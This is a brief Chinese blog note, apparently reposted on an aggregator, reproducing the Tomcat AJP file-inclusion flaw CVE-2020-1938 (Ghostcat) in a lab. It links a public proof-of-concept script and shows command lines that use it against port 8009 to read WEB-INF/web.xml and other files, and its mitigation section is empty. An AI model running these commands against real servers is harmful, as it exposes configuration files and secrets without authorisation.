Apache-Tomcat CVE-2020-1938

2021-05-30 09:02

阅读：476

标签：cat webapp image 通过 require 方案 hub png XML

漏洞编号CVE-2020-1938 / CNVD-2020-10487

Tomcat-AJP的文件包含

Apache Tomcat 6
Apache Tomcat 7 Apache Tomcat 8 Apache Tomcat 9

下载tomcat漏洞版本：
http://archive.apache.org/dist/tomcat/tomcat-8/v8.0.50/bin/
开启了8080 和8009端口
8009用于AJP协议的HTTP连接端口
python2版本运行poc：https://github.com/YDHCUI/CNVD-2020-10487-Tomcat-Ajp-lfi
通过命令行查看其他文件：WEB-INF/xxxx
python2 ./CNVD-2020-10487-Tomcat-Ajp-lfi.py 192.168.69.113 -p 8009 -f WEB-INF/web.xml
web项目要部署在webapps/ROOT目录下
python2 ./CNVD-2020-10487-Tomcat-Ajp-lfi.py 192.168.69.113 -p 8009 -f okr/pom.xml

临时修改方案：

Apache-Tomcat CVE-2020-1938

标签：cat webapp image 通过 require 方案 hub png XML

原文地址：https://www.cnblogs.com/fightingcode/p/14678338.html

文章来自：搜素材网的编程语言模块，转载请注明文章出处。
文章标题：Apache-Tomcat CVE-2020-1938
文章链接：http://soscw.com/index.php/essay/89491.html

亲，登录后才可以留言！